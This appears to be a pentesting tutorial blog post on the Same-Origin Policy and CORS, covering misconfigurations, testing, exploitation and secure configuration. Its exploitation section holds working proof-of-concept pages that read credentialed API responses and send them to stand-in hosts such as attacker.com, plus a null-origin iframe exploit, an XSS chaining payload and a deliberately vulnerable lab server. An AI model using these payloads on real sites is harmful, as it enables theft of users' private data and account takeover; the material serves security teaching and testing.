Skip to content
SecureKhan
Go back

Same-Origin Policy & CORS Deep Dive for Pentesters

Same-Origin Policy & CORS Deep Dive

TL;DR: Same-Origin Policy (SOP) prevents websites from reading data from other origins. CORS (Cross-Origin Resource Sharing) relaxes SOP when configured. Misconfigurations lead to data theft.


Table of Contents

Open Table of Contents

Quick Reference

Origin Definition

URLOrigin
https://example.com/pagehttps://example.com
https://example.com:443/pagehttps://example.com
http://example.com/pagehttp://example.com (different!)
https://sub.example.com/pagehttps://sub.example.com (different!)
https://example.com:8080/pagehttps://example.com:8080 (different!)

Origin = Scheme + Host + Port

CORS Headers

HeaderPurposeSet By
Access-Control-Allow-OriginAllowed origin(s)Server
Access-Control-Allow-CredentialsAllow cookiesServer
Access-Control-Allow-MethodsAllowed HTTP methodsServer
Access-Control-Allow-HeadersAllowed request headersServer
Access-Control-Expose-HeadersReadable response headersServer
Access-Control-Max-AgePreflight cache timeServer
OriginRequesting originBrowser

Common Misconfigurations

MisconfigurationRiskSeverity
Access-Control-Allow-Origin: * with credentialsN/A (blocked by browser)-
Reflecting Origin headerData theftCritical
Null origin allowedSandbox bypassHigh
Subdomain wildcardSubdomain takeover → CORSHigh
HTTP origin trustedMITM → data theftMedium

Why This Matters

The Problem SOP Solves

Without SOP, any website could:

Scenario: You're logged into bank.com, then visit evil.com

Without SOP:
┌─────────────┐                           ┌─────────────┐
│  evil.com   │                           │  bank.com   │
│             │                           │             │
│  <script>   │   XMLHttpRequest to       │  /api/      │
│  fetch(     │ ─────────────────────────►│  accounts   │
│  bank.com   │                           │             │
│  /accounts) │◄───────────────────────── │  Returns    │
│  </script>  │   Account data!           │  JSON data  │
│             │                           │             │
│  Sends data │                           │             │
│  to attacker│                           │             │
└─────────────┘                           └─────────────┘

Your bank account data stolen!

Real-World Impact

VulnerabilityImpact
CORS misconfigurationRead private API data
Origin reflectionAccount takeover via API
Null origin allowedSteal data via sandboxed iframe
Subdomain trustExploit XSS on subdomain

Same-Origin Policy Explained

TL;DR: SOP restricts how documents/scripts from one origin can interact with resources from another origin.

What is an Origin?

Origin = Scheme + Host + Port

https://www.example.com:443/page.html
  │          │           │
  │          │           └── Port (443 default for HTTPS)
  │          └────────────── Host
  └───────────────────────── Scheme

Same origin?
https://www.example.com/a  vs  https://www.example.com/b     ✓ Same
https://www.example.com    vs  http://www.example.com        ✗ Different (scheme)
https://www.example.com    vs  https://api.example.com       ✗ Different (host)
https://www.example.com    vs  https://www.example.com:8080  ✗ Different (port)

SOP Rules

ActionSame OriginCross Origin
Read DOM✓ Allowed✗ Blocked
Read cookies✓ Allowed✗ Blocked
XMLHttpRequest/fetch✓ AllowedBlocked (unless CORS)
Embed images✓ Allowed✓ Allowed
Embed scripts✓ Allowed✓ Allowed
Embed iframes✓ Allowed✓ (but can’t read content)
Submit forms✓ Allowed✓ Allowed (but can’t read response)

What SOP Blocks

Blocked: Reading Cross-Origin Response

// From attacker.com, trying to read bank.com data
fetch('https://bank.com/api/accounts')
  .then(response => response.json())
  .then(data => {
    // SOP BLOCKS THIS
    // Response is blocked, can't read data
    console.log(data);
  });

Blocked: Accessing Cross-Origin DOM

// From attacker.com
let iframe = document.createElement('iframe');
iframe.src = 'https://bank.com';
document.body.appendChild(iframe);

// SOP BLOCKS THIS
let bankContent = iframe.contentDocument; // Error!
let bankWindow = iframe.contentWindow.document; // Error!

Blocked: Reading Cross-Origin Cookies

// From attacker.com
// Cannot read bank.com's cookies
document.cookie; // Only attacker.com cookies

NOT Blocked: Sending Requests

// SOP doesn't prevent SENDING requests, only READING responses

// This request IS sent (with cookies!)
fetch('https://bank.com/api/transfer', {
  method: 'POST',
  credentials: 'include', // Sends cookies!
  body: JSON.stringify({to: 'attacker', amount: 1000})
});

// Request goes through, but response is blocked
// This is why we have CSRF protections!

NOT Blocked: Embedding Resources

<!-- These all work cross-origin -->
<img src="https://other-site.com/image.png">
<script src="https://other-site.com/script.js"></script>
<link href="https://other-site.com/style.css">
<iframe src="https://other-site.com/page"></iframe>
<video src="https://other-site.com/video.mp4"></video>

<!-- But you can't READ the content of embedded resources -->

CORS Explained

TL;DR: CORS is a mechanism that allows servers to specify which origins can read their responses.

How CORS Works

1. Browser makes cross-origin request
2. Browser automatically adds Origin header
3. Server checks Origin, decides to allow/deny
4. Server adds CORS headers to response
5. Browser checks headers, allows/blocks JavaScript access

┌─────────────┐                              ┌─────────────┐
│ Browser     │     Request                  │   Server    │
│ (origin:    │     Origin: a.com            │   (b.com)   │
│  a.com)     │ ────────────────────────────►│             │
│             │                              │             │
│             │     Response                 │             │
│             │     Access-Control-Allow-    │             │
│             │     Origin: a.com            │             │
│             │◄──────────────────────────── │             │
│             │                              │             │
│ JS can now  │                              │             │
│ read response                              │             │
└─────────────┘                              └─────────────┘

Simple vs Preflighted Requests

Simple Request (no preflight):
- GET, HEAD, or POST
- Only "simple" headers (Accept, Content-Type, etc.)
- Content-Type only: text/plain, multipart/form-data,
  application/x-www-form-urlencoded

Preflighted Request (OPTIONS first):
- PUT, DELETE, PATCH, etc.
- Custom headers
- Content-Type: application/json

CORS Headers

Access-Control-Allow-Origin

Specifies which origin(s) can read the response.

# Allow specific origin
Access-Control-Allow-Origin: https://trusted.com

# Allow any origin (no credentials)
Access-Control-Allow-Origin: *

# DANGEROUS: Reflect any origin (server code)
Access-Control-Allow-Origin: {value of Origin header}

Access-Control-Allow-Credentials

Allows cookies/auth to be included.

Access-Control-Allow-Credentials: true

# IMPORTANT: Cannot use * with credentials
# This is BLOCKED by browsers:
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

Access-Control-Allow-Methods

Specifies allowed HTTP methods.

Access-Control-Allow-Methods: GET, POST, PUT, DELETE

Access-Control-Allow-Headers

Specifies allowed request headers.

Access-Control-Allow-Headers: Content-Type, Authorization, X-Custom-Header

Access-Control-Expose-Headers

Makes response headers readable by JavaScript.

# By default, only these are readable:
# Cache-Control, Content-Language, Content-Type, Expires, Last-Modified, Pragma

# To expose custom headers:
Access-Control-Expose-Headers: X-Custom-Header, X-Request-Id

Access-Control-Max-Age

Caches preflight response.

Access-Control-Max-Age: 86400  # 24 hours

Preflight Requests

TL;DR: Browsers send OPTIONS request first for “non-simple” requests to check if actual request is allowed.

Preflight Flow

Step 1: Browser sends OPTIONS (preflight)
┌─────────────┐                              ┌─────────────┐
│ Browser     │     OPTIONS /api/data        │   Server    │
│             │     Origin: https://a.com    │             │
│             │     Access-Control-Request-  │             │
│             │       Method: PUT            │             │
│             │     Access-Control-Request-  │             │
│             │       Headers: X-Custom      │             │
│             │ ────────────────────────────►│             │
│             │                              │             │
│             │     200 OK                   │             │
│             │     Access-Control-Allow-    │             │
│             │       Origin: https://a.com  │             │
│             │     Access-Control-Allow-    │             │
│             │       Methods: PUT           │             │
│             │     Access-Control-Allow-    │             │
│             │       Headers: X-Custom      │             │
│             │◄──────────────────────────── │             │
└─────────────┘                              └─────────────┘

Step 2: Browser sends actual request (if preflight passed)
┌─────────────┐                              ┌─────────────┐
│ Browser     │     PUT /api/data            │   Server    │
│             │     Origin: https://a.com    │             │
│             │     X-Custom: value          │             │
│             │ ────────────────────────────►│             │
│             │                              │             │
│             │     200 OK                   │             │
│             │     Access-Control-Allow-    │             │
│             │       Origin: https://a.com  │             │
│             │◄──────────────────────────── │             │
└─────────────┘                              └─────────────┘

When Preflight Happens

ConditionPreflight?
GET/HEAD/POSTNo (simple)
PUT/DELETE/PATCHYes
Custom headers (X-*)Yes
Content-Type: application/jsonYes
Credentials: includeDepends on other factors

CORS Misconfigurations

1. Reflecting Origin Header

Most dangerous misconfiguration!

// Vulnerable server code (Node.js example)
app.use((req, res, next) => {
  res.setHeader('Access-Control-Allow-Origin', req.headers.origin);
  res.setHeader('Access-Control-Allow-Credentials', 'true');
  next();
});
Request:
GET /api/sensitive HTTP/1.1
Host: vulnerable.com
Origin: https://attacker.com
Cookie: session=abc123

Response:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://attacker.com
Access-Control-Allow-Credentials: true

{"ssn": "123-45-6789", "credit_card": "4111..."}
AttackDetectDefend
Steal user data via attacker siteTest with arbitrary OriginWhitelist specific origins
Account takeover via APICheck if Origin is reflectedNever reflect Origin blindly
Session hijackingVerify CORS headersValidate against whitelist

2. Null Origin Allowed

Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true

Why it’s dangerous: Sandboxed iframes have null origin.

<!-- Attacker's page -->
<iframe sandbox="allow-scripts allow-forms"
        src="data:text/html,<script>
          fetch('https://vulnerable.com/api/sensitive', {
            credentials: 'include'
          })
          .then(r => r.text())
          .then(d => {
            // Send to attacker
            new Image().src = 'https://attacker.com/steal?data=' + encodeURIComponent(d);
          });
        </script>">
</iframe>
AttackDetectDefend
Bypass via sandboxed iframeTest with Origin: nullNever allow null origin
Data theftCheck for null in whitelistRemove null from allowed list

3. Subdomain Wildcard

// Vulnerable: trusts any subdomain
const origin = req.headers.origin;
if (origin && origin.endsWith('.example.com')) {
  res.setHeader('Access-Control-Allow-Origin', origin);
}

Risk: Attacker finds XSS on any subdomain → uses it for CORS attack.

Scenario:
1. blog.example.com has XSS vulnerability
2. Attacker exploits XSS to make API calls
3. API trusts blog.example.com
4. Attacker reads sensitive data
AttackDetectDefend
XSS + CORS chainTest with Origin: evil.example.comExplicit subdomain whitelist
Subdomain takeover → CORSCheck subdomain trust logicMonitor all subdomains

4. Partial Domain Match

// VULNERABLE - "notexample.com" would match!
if (origin.includes('example.com')) {
  // Trust it
}

// ALSO VULNERABLE - "example.com.attacker.com" would match!
if (origin.endsWith('example.com')) {
  // Trust it
}
AttackDetectDefend
Register similar domainTest with Origin: notexample.comUse exact match
Use attacker subdomainTest Origin: example.com.attacker.comValidate full origin

5. HTTP Origin Trusted

// Allows both HTTP and HTTPS
const allowedOrigins = [
  'https://example.com',
  'http://example.com'  // DANGEROUS!
];

Risk: MITM can inject JavaScript over HTTP → access HTTPS API.

AttackDetectDefend
MITM + HTTP injectionCheck for HTTP originsHTTPS only
Coffee shop attackTest with Origin: http://example.comRemove HTTP from whitelist

Exploiting CORS

Basic Exploitation POC

<!DOCTYPE html>
<html>
<head>
  <title>CORS Exploit</title>
</head>
<body>
  <h1>CORS Vulnerability Exploit</h1>
  <div id="result"></div>

  <script>
    // Replace with vulnerable endpoint
    const targetUrl = 'https://vulnerable.com/api/user/profile';

    fetch(targetUrl, {
      method: 'GET',
      credentials: 'include'  // Include cookies
    })
    .then(response => response.json())
    .then(data => {
      // Display stolen data
      document.getElementById('result').innerHTML =
        '<pre>' + JSON.stringify(data, null, 2) + '</pre>';

      // Exfiltrate to attacker server
      fetch('https://attacker.com/log', {
        method: 'POST',
        body: JSON.stringify(data)
      });
    })
    .catch(error => {
      document.getElementById('result').innerHTML = 'Error: ' + error;
    });
  </script>
</body>
</html>

Null Origin Exploit

<iframe sandbox="allow-scripts allow-forms" srcdoc="
  <script>
    fetch('https://vulnerable.com/api/sensitive', {
      credentials: 'include'
    })
    .then(r => r.json())
    .then(d => {
      // Exfiltrate data
      parent.postMessage(JSON.stringify(d), '*');
    });
  </script>
"></iframe>

<script>
  window.addEventListener('message', function(e) {
    console.log('Stolen data:', e.data);
    // Send to attacker server
    fetch('https://attacker.com/collect?data=' + encodeURIComponent(e.data));
  });
</script>

Advanced: Chaining with XSS

// If you have XSS on trusted.example.com
// And API trusts *.example.com

// XSS Payload on trusted.example.com:
fetch('https://api.example.com/user/sensitive', {
  credentials: 'include'
})
.then(r => r.json())
.then(data => {
  // Exfiltrate
  navigator.sendBeacon('https://attacker.com/steal', JSON.stringify(data));
});

Testing for CORS Issues

Testing Checklist

Manual Testing

Curl Commands
# Test arbitrary origin
curl -H "Origin: https://attacker.com" \
     -I https://target.com/api/endpoint

# Check response headers
curl -H "Origin: https://attacker.com" \
     -v https://target.com/api/endpoint 2>&1 | grep -i "access-control"

# Test null origin
curl -H "Origin: null" \
     -I https://target.com/api/endpoint

# Test with credentials header request
curl -H "Origin: https://attacker.com" \
     -H "Cookie: session=abc123" \
     -v https://target.com/api/endpoint

# Test preflight
curl -X OPTIONS \
     -H "Origin: https://attacker.com" \
     -H "Access-Control-Request-Method: PUT" \
     -H "Access-Control-Request-Headers: X-Custom" \
     -v https://target.com/api/endpoint

# Test subdomain
curl -H "Origin: https://evil.target.com" \
     -I https://target.com/api/endpoint

# Test similar domain
curl -H "Origin: https://target.com.attacker.com" \
     -I https://target.com/api/endpoint

Burp Suite Testing

1. Enable "Passive CORS checks" in Burp Scanner
2. Add custom Origin headers in Repeater
3. Use "Collaborator" for blind testing

Match and Replace rules:
- Match: ^Origin:.*$
- Replace: Origin: https://attacker.com

Automated Testing

Automation Scripts
#!/usr/bin/env python3
"""CORS Misconfiguration Tester"""

import requests

def test_cors(url, origins):
    results = []

    for origin in origins:
        try:
            headers = {'Origin': origin}
            resp = requests.get(url, headers=headers)

            acao = resp.headers.get('Access-Control-Allow-Origin', '')
            acac = resp.headers.get('Access-Control-Allow-Credentials', '')

            if acao:
                result = {
                    'origin': origin,
                    'acao': acao,
                    'acac': acac,
                    'vulnerable': False
                }

                # Check for vulnerabilities
                if acao == origin or acao == '*':
                    if acac.lower() == 'true' or acao == origin:
                        result['vulnerable'] = True

                results.append(result)

        except Exception as e:
            print(f"Error testing {origin}: {e}")

    return results

# Test origins
test_origins = [
    'https://attacker.com',
    'null',
    'https://subdomain.target.com',
    'https://target.com.attacker.com',
    'http://target.com',
]

url = 'https://target.com/api/endpoint'
results = test_cors(url, test_origins)

for r in results:
    status = "VULNERABLE" if r['vulnerable'] else "OK"
    print(f"[{status}] Origin: {r['origin']}")
    print(f"         ACAO: {r['acao']}")
    print(f"         ACAC: {r['acac']}")
    print()
# Using Corsy
python3 corsy.py -u https://target.com/api/endpoint

# Using CORScanner
python3 cors_scan.py -u https://target.com

# Using nuclei
nuclei -u https://target.com -t cors/

Other Cross-Origin Techniques

JSONP (Legacy)

<!-- Old technique, often vulnerable -->
<script>
function callback(data) {
  // Process stolen data
  console.log(data);
}
</script>
<script src="https://vulnerable.com/api/data?callback=callback"></script>

<!-- Server returns: callback({"secret": "data"}) -->

PostMessage

// Check for insecure postMessage handlers
window.addEventListener('message', function(e) {
  // VULNERABLE: No origin check
  eval(e.data);
});

// Secure version
window.addEventListener('message', function(e) {
  if (e.origin !== 'https://trusted.com') return;
  // Process message
});

WebSocket

// WebSockets don't follow SOP by default
// Server must validate Origin header

const ws = new WebSocket('wss://target.com/socket');
ws.onopen = function() {
  ws.send('malicious data');
};

Defense and Remediation

Secure CORS Configuration

// Node.js/Express example
const allowedOrigins = [
  'https://app.example.com',
  'https://admin.example.com'
];

app.use((req, res, next) => {
  const origin = req.headers.origin;

  if (allowedOrigins.includes(origin)) {
    res.setHeader('Access-Control-Allow-Origin', origin);
    res.setHeader('Access-Control-Allow-Credentials', 'true');
    res.setHeader('Access-Control-Allow-Methods', 'GET, POST');
    res.setHeader('Access-Control-Allow-Headers', 'Content-Type');
  }

  // Handle preflight
  if (req.method === 'OPTIONS') {
    res.setHeader('Access-Control-Max-Age', '86400');
    return res.status(204).end();
  }

  next();
});

Security Checklist for Developers

Common Framework Configurations

Framework Examples
# Django (django-cors-headers)
CORS_ALLOWED_ORIGINS = [
    "https://app.example.com",
    "https://admin.example.com",
]
CORS_ALLOW_CREDENTIALS = True

# Flask (flask-cors)
from flask_cors import CORS
CORS(app, origins=['https://app.example.com'], supports_credentials=True)

# Spring Boot
@CrossOrigin(origins = "https://app.example.com", allowCredentials = "true")
@RestController
public class ApiController { }

# .NET Core
services.AddCors(options => {
    options.AddPolicy("MyPolicy", builder => {
        builder.WithOrigins("https://app.example.com")
               .AllowCredentials()
               .AllowAnyMethod()
               .AllowAnyHeader();
    });
});

Tools Reference

Testing Tools

ToolPurposeLink
CorsyCORS scannerGitHub
CORScannerAutomated testingGitHub
Burp SuiteManual testingPortSwigger
nucleiTemplate-basedProjectDiscovery

Browser DevTools

Chrome DevTools:
- Network tab: Check response headers
- Console: Test fetch requests
- Application: Check cookies

Firefox DevTools:
- Network tab: CORS indicator
- Console: CORS error messages

Practice Labs

Beginner

ResourceFocus
PortSwigger Web AcademyCORS fundamentals
TryHackMeBrowser security
HackTheBox AcademyCORS exploitation

Practice Exercises

  1. Find a site that reflects Origin header
  2. Exploit null origin vulnerability
  3. Chain XSS with CORS misconfiguration
  4. Bypass partial domain matching

Lab Setup

<!-- Vulnerable server for practice -->
<!-- Save as cors-lab.js -->

const express = require('express');
const app = express();

// VULNERABLE: Reflects any origin
app.use((req, res, next) => {
  res.setHeader('Access-Control-Allow-Origin', req.headers.origin || '*');
  res.setHeader('Access-Control-Allow-Credentials', 'true');
  next();
});

app.get('/api/secret', (req, res) => {
  res.json({ secret: 'sensitive_data_here' });
});

app.listen(3000);

Glossary

TermDefinition
CORSCross-Origin Resource Sharing
CSRFCross-Site Request Forgery
OriginScheme + Host + Port
PreflightOPTIONS request before actual request
SOPSame-Origin Policy
WildcardAccess-Control-Allow-Origin: *
ACAOAccess-Control-Allow-Origin header
ACACAccess-Control-Allow-Credentials header

What’s Next?

Now that you understand SOP and CORS:

TopicDescriptionLink
Web BasicsHTTP, cookies, headersWeb Basics Guide
Web App PentestingFull methodologyWeb App Guide
Authentication FlowsAuth securityAuth Flows Guide
CSPContent Security PolicyComing Soon

Summary

SOP and CORS are fundamental to web security:

  1. SOP - Prevents cross-origin data reads by default
  2. CORS - Server-controlled relaxation of SOP
  3. Common Issues - Origin reflection, null origin, subdomain trust
  4. Impact - Data theft, account takeover
  5. Testing - Check Origin header handling, credentials

Key Findings to Report:


Found this guide helpful? Check out the other posts in the SecureKhan penetration testing series.


Share this post on:

Previous Post
How Proxies Work for Pentesters: Forward, Reverse & Interception
Next Post
ARP & Layer 2 Attacks for Pentesters: MITM, Spoofing & Network Attacks